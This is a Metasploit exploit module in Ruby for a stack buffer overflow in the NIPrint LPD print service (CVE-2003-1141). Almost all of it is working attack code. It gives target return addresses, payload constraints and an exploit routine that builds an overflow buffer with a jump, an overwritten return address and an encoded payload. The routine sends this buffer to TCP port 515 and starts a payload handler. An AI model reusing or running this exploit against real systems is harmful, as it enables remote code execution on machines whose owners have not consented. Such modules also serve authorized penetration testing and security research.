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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'NIPrint LPD Request Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the
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          Network Instrument NIPrint LPD service. Inspired by
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          Immunity's VisualSploit :-)
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['CVE', '2003-1141'],
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          ['OSVDB', '2774'],
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          ['BID', '8968'],
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          ['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00\x0a",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
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          ['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
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          ['Windows 7 x64', { 'Ret' => 0x763B35DD }],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2003-11-05',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(515)
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      ]
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    )
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  end
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  def exploit
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    connect
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    req = rand_text_alphanumeric(8192)
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    req[0, 2] = "\xeb\x33"
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    req[49, 4] = [target.ret].pack('V')
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    req[53, payload.encoded.length] = payload.encoded
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    print_status("Trying target #{target.name}...")
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    sock.put(req)
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    handler
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    disconnect
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  end
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end
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